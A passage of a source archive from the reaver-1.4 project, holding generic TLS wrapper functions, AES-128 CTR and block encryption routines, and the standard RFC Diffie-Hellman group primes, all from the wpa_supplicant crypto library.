SSL_set_options(conn->ssl, SSL_OP_DONT_INSERT_EMPTY_FRAGMENTS); return 0; } #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) /* ClientHello TLS extensions require a patch to openssl, so this function is * commented out unless explicitly needed for EAP-FAST in order to be able to * build this file with unmodified openssl. */ int tls_connection_client_hello_ext(void *ssl_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { if (conn == NULL || conn->ssl == NULL || ext_type != 35) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE if (SSL_set_session_ticket_ext(conn->ssl, (void *) data, data_len) != 1) return -1; #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ if (SSL_set_hello_extension(conn->ssl, ext_type, (void *) data, data_len) != 1) return -1; #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ return 0; } #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ int tls_connection_get_failed(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->failed; } int tls_connection_get_read_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->read_alerts; } int tls_connection_get_write_alerts(void *ssl_ctx, struct tls_connection *conn) { if (conn == NULL) return -1; return conn->write_alerts; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { int ret; unsigned long err; if (conn == NULL) return -1; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", __func__, ERR_error_string(err, NULL)); } if (params->engine) { wpa_printf(MSG_DEBUG, "SSL: Initializing TLS engine"); ret = tls_engine_init(conn, params->engine_id, params->pin, params->key_id, params->cert_id, params->ca_cert_id); if (ret) return ret; } if (tls_connection_set_subject_match(conn, params->subject_match, params->altsubject_match)) return -1; if (params->engine && params->ca_cert_id) { if (tls_connection_engine_ca_cert(tls_ctx, conn, params->ca_cert_id)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_ca_cert(tls_ctx, conn, params->ca_cert, params->ca_cert_blob, params->ca_cert_blob_len, params->ca_path)) return -1; if (params->engine && params->cert_id) { if (tls_connection_engine_client_cert(conn, params->cert_id)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_client_cert(conn, params->client_cert, params->client_cert_blob, params->client_cert_blob_len)) return -1; if (params->engine && params->key_id) { wpa_printf(MSG_DEBUG, "TLS: Using private key from engine"); if (tls_connection_engine_private_key(conn)) return TLS_SET_PARAMS_ENGINE_PRV_VERIFY_FAILED; } else if (tls_connection_private_key(tls_ctx, conn, params->private_key, params->private_key_passwd, params->private_key_blob, params->private_key_blob_len)) { wpa_printf(MSG_INFO, "TLS: Failed to load private key '%s'", params->private_key); return -1; } if (tls_connection_dh(conn, params->dh_file)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", params->dh_file); return -1; } tls_get_errors(tls_ctx); return 0; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { SSL_CTX *ssl_ctx = tls_ctx; unsigned long err; while ((err = ERR_get_error())) { wpa_printf(MSG_INFO, "%s: Clearing pending SSL error: %s", __func__, ERR_error_string(err, NULL)); } if (tls_global_ca_cert(ssl_ctx, params->ca_cert)) return -1; if (tls_global_client_cert(ssl_ctx, params->client_cert)) return -1; if (tls_global_private_key(ssl_ctx, params->private_key, params->private_key_passwd)) return -1; if (tls_global_dh(ssl_ctx, params->dh_file)) { wpa_printf(MSG_INFO, "TLS: Failed to load DH file '%s'", params->dh_file); return -1; } return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { const EVP_CIPHER *c; const EVP_MD *h; if (conn == NULL || conn->ssl == NULL || conn->ssl->enc_read_ctx == NULL || conn->ssl->enc_read_ctx->cipher == NULL || conn->ssl->read_hash == NULL) return -1; c = conn->ssl->enc_read_ctx->cipher; #if OPENSSL_VERSION_NUMBER >= 0x00909000L h = EVP_MD_CTX_md(conn->ssl->read_hash); #else h = conn->ssl->read_hash; #endif return 2 * (EVP_CIPHER_key_length(c) + EVP_MD_size(h) + EVP_CIPHER_iv_length(c)); } unsigned int tls_capabilities(void *tls_ctx) { return 0; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) /* Pre-shared secred requires a patch to openssl, so this function is * commented out unless explicitly needed for EAP-FAST in order to be able to * build this file with unmodified openssl. */ static int tls_sess_sec_cb(SSL *s, void *secret, int *secret_len, STACK_OF(SSL_CIPHER) *peer_ciphers, SSL_CIPHER **cipher, void *arg) { struct tls_connection *conn = arg; int ret; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; ret = conn->session_ticket_cb(conn->session_ticket_cb_ctx, conn->session_ticket, conn->session_ticket_len, s->s3->client_random, s->s3->server_random, secret); os_free(conn->session_ticket); conn->session_ticket = NULL; if (ret <= 0) return 0; *secret_len = SSL_MAX_MASTER_KEY_LENGTH; return 1; } #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE static int tls_session_ticket_ext_cb(SSL *s, const unsigned char *data, int len, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s: length=%d", __func__, len); os_free(conn->session_ticket); conn->session_ticket = NULL; wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", data, len); conn->session_ticket = os_malloc(len); if (conn->session_ticket == NULL) return 0; os_memcpy(conn->session_ticket, data, len); conn->session_ticket_len = len; return 1; } #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET static void tls_hello_ext_cb(SSL *s, int client_server, int type, unsigned char *data, int len, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return; wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, type, len); if (type == TLSEXT_TYPE_session_ticket && !client_server) { os_free(conn->session_ticket); conn->session_ticket = NULL; wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", data, len); conn->session_ticket = os_malloc(len); if (conn->session_ticket == NULL) return; os_memcpy(conn->session_ticket, data, len); conn->session_ticket_len = len; } } #else /* SSL_OP_NO_TICKET */ static int tls_hello_ext_cb(SSL *s, TLS_EXTENSION *ext, void *arg) { struct tls_connection *conn = arg; if (conn == NULL || conn->session_ticket_cb == NULL) return 0; wpa_printf(MSG_DEBUG, "OpenSSL: %s: type=%d length=%d", __func__, ext->type, ext->length); os_free(conn->session_ticket); conn->session_ticket = NULL; if (ext->type == 35) { wpa_hexdump(MSG_DEBUG, "OpenSSL: ClientHello SessionTicket " "extension", ext->data, ext->length); conn->session_ticket = os_malloc(ext->length); if (conn->session_ticket == NULL) return SSL_AD_INTERNAL_ERROR; os_memcpy(conn->session_ticket, ext->data, ext->length); conn->session_ticket_len = ext->length; } return 0; } #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ int tls_connection_set_session_ticket_cb(void *tls_ctx, struct tls_connection *conn, tls_session_ticket_cb cb, void *ctx) { #if defined(EAP_FAST) || defined(EAP_FAST_DYNAMIC) || defined(EAP_SERVER_FAST) conn->session_ticket_cb = cb; conn->session_ticket_cb_ctx = ctx; if (cb) { if (SSL_set_session_secret_cb(conn->ssl, tls_sess_sec_cb, conn) != 1) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE SSL_set_session_ticket_ext_cb(conn->ssl, tls_session_ticket_ext_cb, conn); #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET SSL_set_tlsext_debug_callback(conn->ssl, tls_hello_ext_cb); SSL_set_tlsext_debug_arg(conn->ssl, conn); #else /* SSL_OP_NO_TICKET */ if (SSL_set_hello_extension_cb(conn->ssl, tls_hello_ext_cb, conn) != 1) return -1; #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ } else { if (SSL_set_session_secret_cb(conn->ssl, NULL, NULL) != 1) return -1; #ifdef CONFIG_OPENSSL_TICKET_OVERRIDE SSL_set_session_ticket_ext_cb(conn->ssl, NULL, NULL); #else /* CONFIG_OPENSSL_TICKET_OVERRIDE */ #ifdef SSL_OP_NO_TICKET SSL_set_tlsext_debug_callback(conn->ssl, NULL); SSL_set_tlsext_debug_arg(conn->ssl, conn); #else /* SSL_OP_NO_TICKET */ if (SSL_set_hello_extension_cb(conn->ssl, NULL, NULL) != 1) return -1; #endif /* SSL_OP_NO_TICKET */ #endif /* CONFIG_OPENSSL_TICKET_OVERRIDE */ } return 0; #else /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ return -1; #endif /* EAP_FAST || EAP_FAST_DYNAMIC || EAP_SERVER_FAST */ } reaver-1.4/src/crypto/tls_none.c0000755000175000017500000000756311705505260016307 0ustar reaverreaver/* * SSL/TLS interface functions for no TLS case * Copyright (c) 2004-2009, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "tls.h" void * tls_init(const struct tls_config *conf) { return (void *) 1; } void tls_deinit(void *ssl_ctx) { } int tls_get_errors(void *tls_ctx) { return 0; } struct tls_connection * tls_connection_init(void *tls_ctx) { return NULL; } void tls_connection_deinit(void *tls_ctx, struct tls_connection *conn) { } int tls_connection_established(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_shutdown(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_set_params(void *tls_ctx, struct tls_connection *conn, const struct tls_connection_params *params) { return -1; } int tls_global_set_params(void *tls_ctx, const struct tls_connection_params *params) { return -1; } int tls_global_set_verify(void *tls_ctx, int check_crl) { return -1; } int tls_connection_set_verify(void *tls_ctx, struct tls_connection *conn, int verify_peer) { return -1; } int tls_connection_set_ia(void *tls_ctx, struct tls_connection *conn, int tls_ia) { return -1; } int tls_connection_get_keys(void *tls_ctx, struct tls_connection *conn, struct tls_keys *keys) { return -1; } int tls_connection_prf(void *tls_ctx, struct tls_connection *conn, const char *label, int server_random_first, u8 *out, size_t out_len) { return -1; } struct wpabuf * tls_connection_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_server_handshake(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data, struct wpabuf **appl_data) { return NULL; } struct wpabuf * tls_connection_encrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { return NULL; } struct wpabuf * tls_connection_decrypt(void *tls_ctx, struct tls_connection *conn, const struct wpabuf *in_data) { return NULL; } int tls_connection_resumed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_set_cipher_list(void *tls_ctx, struct tls_connection *conn, u8 *ciphers) { return -1; } int tls_get_cipher(void *tls_ctx, struct tls_connection *conn, char *buf, size_t buflen) { return -1; } int tls_connection_enable_workaround(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_client_hello_ext(void *tls_ctx, struct tls_connection *conn, int ext_type, const u8 *data, size_t data_len) { return -1; } int tls_connection_get_failed(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_read_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_write_alerts(void *tls_ctx, struct tls_connection *conn) { return 0; } int tls_connection_get_keyblock_size(void *tls_ctx, struct tls_connection *conn) { return -1; } unsigned int tls_capabilities(void *tls_ctx) { return 0; } struct wpabuf * tls_connection_ia_send_phase_finished( void *tls_ctx, struct tls_connection *conn, int final) { return NULL; } int tls_connection_ia_final_phase_finished(void *tls_ctx, struct tls_connection *conn) { return -1; } int tls_connection_ia_permute_inner_secret(void *tls_ctx, struct tls_connection *conn, const u8 *key, size_t key_len) { return -1; } reaver-1.4/src/crypto/aes-ctr.c0000755000175000017500000000256211705505260016016 0ustar reaverreaver/* * AES-128 CTR * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_ctr_encrypt - AES-128 CTR mode encryption * @key: Key for encryption (16 bytes) * @nonce: Nonce for counter mode (16 bytes) * @data: Data to encrypt in-place * @data_len: Length of data in bytes * Returns: 0 on success, -1 on failure */ int aes_128_ctr_encrypt(const u8 *key, const u8 *nonce, u8 *data, size_t data_len) { void *ctx; size_t j, len, left = data_len; int i; u8 *pos = data; u8 counter[AES_BLOCK_SIZE], buf[AES_BLOCK_SIZE]; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; os_memcpy(counter, nonce, AES_BLOCK_SIZE); while (left > 0) { aes_encrypt(ctx, counter, buf); len = (left < AES_BLOCK_SIZE) ? left : AES_BLOCK_SIZE; for (j = 0; j < len; j++) pos[j] ^= buf[j]; pos += len; left -= len; for (i = AES_BLOCK_SIZE - 1; i >= 0; i--) { counter[i]++; if (counter[i]) break; } } aes_encrypt_deinit(ctx); return 0; } reaver-1.4/src/crypto/aes-encblock.c0000755000175000017500000000163311705505260017004 0ustar reaverreaver/* * AES encrypt_block * * Copyright (c) 2003-2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "aes.h" #include "aes_wrap.h" /** * aes_128_encrypt_block - Perform one AES 128-bit block operation * @key: Key for AES * @in: Input data (16 bytes) * @out: Output of the AES block operation (16 bytes) * Returns: 0 on success, -1 on failure */ int aes_128_encrypt_block(const u8 *key, const u8 *in, u8 *out) { void *ctx; ctx = aes_encrypt_init(key, 16); if (ctx == NULL) return -1; aes_encrypt(ctx, in, out); aes_encrypt_deinit(ctx); return 0; } reaver-1.4/src/crypto/dh_groups.c0000755000175000017500000006270611705505260016460 0ustar reaverreaver/* * Diffie-Hellman groups * Copyright (c) 2007, Jouni Malinen * * This program is free software; you can redistribute it and/or modify * it under the terms of the GNU General Public License version 2 as * published by the Free Software Foundation. * * Alternatively, this software may be distributed under the terms of BSD * license. * * See README and COPYING for more details. */ #include "includes.h" #include "common.h" #include "crypto.h" #include "dh_groups.h" #include "../globule.h" #ifdef ALL_DH_GROUPS /* RFC 4306, B.1. Group 1 - 768 Bit MODP * Generator: 2 * Prime: 2^768 - 2 ^704 - 1 + 2^64 * { [2^638 pi] + 149686 } */ static const u8 dh_group1_generator[1] = { 0x02 }; static const u8 dh_group1_prime[96] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x3A, 0x36, 0x20, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 4306, B.2. Group 2 - 1024 Bit MODP * Generator: 2 * Prime: 2^1024 - 2^960 - 1 + 2^64 * { [2^894 pi] + 129093 } */ static const u8 dh_group2_generator[1] = { 0x02 }; static const u8 dh_group2_prime[128] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE6, 0x53, 0x81, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #endif /* ALL_DH_GROUPS */ /* RFC 3526, 2. Group 5 - 1536 Bit MODP * Generator: 2 * Prime: 2^1536 - 2^1472 - 1 + 2^64 * { [2^1406 pi] + 741804 } */ static const u8 dh_group5_generator[1] = { 0x02 }; static const u8 dh_group5_prime[192] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x23, 0x73, 0x27, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; #ifdef ALL_DH_GROUPS /* RFC 3526, 3. Group 14 - 2048 Bit MODP * Generator: 2 * Prime: 2^2048 - 2^1984 - 1 + 2^64 * { [2^1918 pi] + 124476 } */ static const u8 dh_group14_generator[1] = { 0x02 }; static const u8 dh_group14_prime[256] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAC, 0xAA, 0x68, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 4. Group 15 - 3072 Bit MODP * Generator: 2 * Prime: 2^3072 - 2^3008 - 1 + 2^64 * { [2^2942 pi] + 1690314 } */ static const u8 dh_group15_generator[1] = { 0x02 }; static const u8 dh_group15_prime[384] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 0x11, 0x7C, 0x4B, 0x1F, 0xE6, 0x49, 0x28, 0x66, 0x51, 0xEC, 0xE4, 0x5B, 0x3D, 0xC2, 0x00, 0x7C, 0xB8, 0xA1, 0x63, 0xBF, 0x05, 0x98, 0xDA, 0x48, 0x36, 0x1C, 0x55, 0xD3, 0x9A, 0x69, 0x16, 0x3F, 0xA8, 0xFD, 0x24, 0xCF, 0x5F, 0x83, 0x65, 0x5D, 0x23, 0xDC, 0xA3, 0xAD, 0x96, 0x1C, 0x62, 0xF3, 0x56, 0x20, 0x85, 0x52, 0xBB, 0x9E, 0xD5, 0x29, 0x07, 0x70, 0x96, 0x96, 0x6D, 0x67, 0x0C, 0x35, 0x4E, 0x4A, 0xBC, 0x98, 0x04, 0xF1, 0x74, 0x6C, 0x08, 0xCA, 0x18, 0x21, 0x7C, 0x32, 0x90, 0x5E, 0x46, 0x2E, 0x36, 0xCE, 0x3B, 0xE3, 0x9E, 0x77, 0x2C, 0x18, 0x0E, 0x86, 0x03, 0x9B, 0x27, 0x83, 0xA2, 0xEC, 0x07, 0xA2, 0x8F, 0xB5, 0xC5, 0x5D, 0xF0, 0x6F, 0x4C, 0x52, 0xC9, 0xDE, 0x2B, 0xCB, 0xF6, 0x95, 0x58, 0x17, 0x18, 0x39, 0x95, 0x49, 0x7C, 0xEA, 0x95, 0x6A, 0xE5, 0x15, 0xD2, 0x26, 0x18, 0x98, 0xFA, 0x05, 0x10, 0x15, 0x72, 0x8E, 0x5A, 0x8A, 0xAA, 0xC4, 0x2D, 0xAD, 0x33, 0x17, 0x0D, 0x04, 0x50, 0x7A, 0x33, 0xA8, 0x55, 0x21, 0xAB, 0xDF, 0x1C, 0xBA, 0x64, 0xEC, 0xFB, 0x85, 0x04, 0x58, 0xDB, 0xEF, 0x0A, 0x8A, 0xEA, 0x71, 0x57, 0x5D, 0x06, 0x0C, 0x7D, 0xB3, 0x97, 0x0F, 0x85, 0xA6, 0xE1, 0xE4, 0xC7, 0xAB, 0xF5, 0xAE, 0x8C, 0xDB, 0x09, 0x33, 0xD7, 0x1E, 0x8C, 0x94, 0xE0, 0x4A, 0x25, 0x61, 0x9D, 0xCE, 0xE3, 0xD2, 0x26, 0x1A, 0xD2, 0xEE, 0x6B, 0xF1, 0x2F, 0xFA, 0x06, 0xD9, 0x8A, 0x08, 0x64, 0xD8, 0x76, 0x02, 0x73, 0x3E, 0xC8, 0x6A, 0x64, 0x52, 0x1F, 0x2B, 0x18, 0x17, 0x7B, 0x20, 0x0C, 0xBB, 0xE1, 0x17, 0x57, 0x7A, 0x61, 0x5D, 0x6C, 0x77, 0x09, 0x88, 0xC0, 0xBA, 0xD9, 0x46, 0xE2, 0x08, 0xE2, 0x4F, 0xA0, 0x74, 0xE5, 0xAB, 0x31, 0x43, 0xDB, 0x5B, 0xFC, 0xE0, 0xFD, 0x10, 0x8E, 0x4B, 0x82, 0xD1, 0x20, 0xA9, 0x3A, 0xD2, 0xCA, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF }; /* RFC 3526, 5. Group 16 - 4096 Bit MODP * Generator: 2 * Prime: 2^4096 - 2^4032 - 1 + 2^64 * { [2^3966 pi] + 240904 } */ static const u8 dh_group16_generator[1] = { 0x02 }; static const u8 dh_group16_prime[512] = { 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC9, 0x0F, 0xDA, 0xA2, 0x21, 0x68, 0xC2, 0x34, 0xC4, 0xC6, 0x62, 0x8B, 0x80, 0xDC, 0x1C, 0xD1, 0x29, 0x02, 0x4E, 0x08, 0x8A, 0x67, 0xCC, 0x74, 0x02, 0x0B, 0xBE, 0xA6, 0x3B, 0x13, 0x9B, 0x22, 0x51, 0x4A, 0x08, 0x79, 0x8E, 0x34, 0x04, 0xDD, 0xEF, 0x95, 0x19, 0xB3, 0xCD, 0x3A, 0x43, 0x1B, 0x30, 0x2B, 0x0A, 0x6D, 0xF2, 0x5F, 0x14, 0x37, 0x4F, 0xE1, 0x35, 0x6D, 0x6D, 0x51, 0xC2, 0x45, 0xE4, 0x85, 0xB5, 0x76, 0x62, 0x5E, 0x7E, 0xC6, 0xF4, 0x4C, 0x42, 0xE9, 0xA6, 0x37, 0xED, 0x6B, 0x0B, 0xFF, 0x5C, 0xB6, 0xF4, 0x06, 0xB7, 0xED, 0xEE, 0x38, 0x6B, 0xFB, 0x5A, 0x89, 0x9F, 0xA5, 0xAE, 0x9F, 0x24, 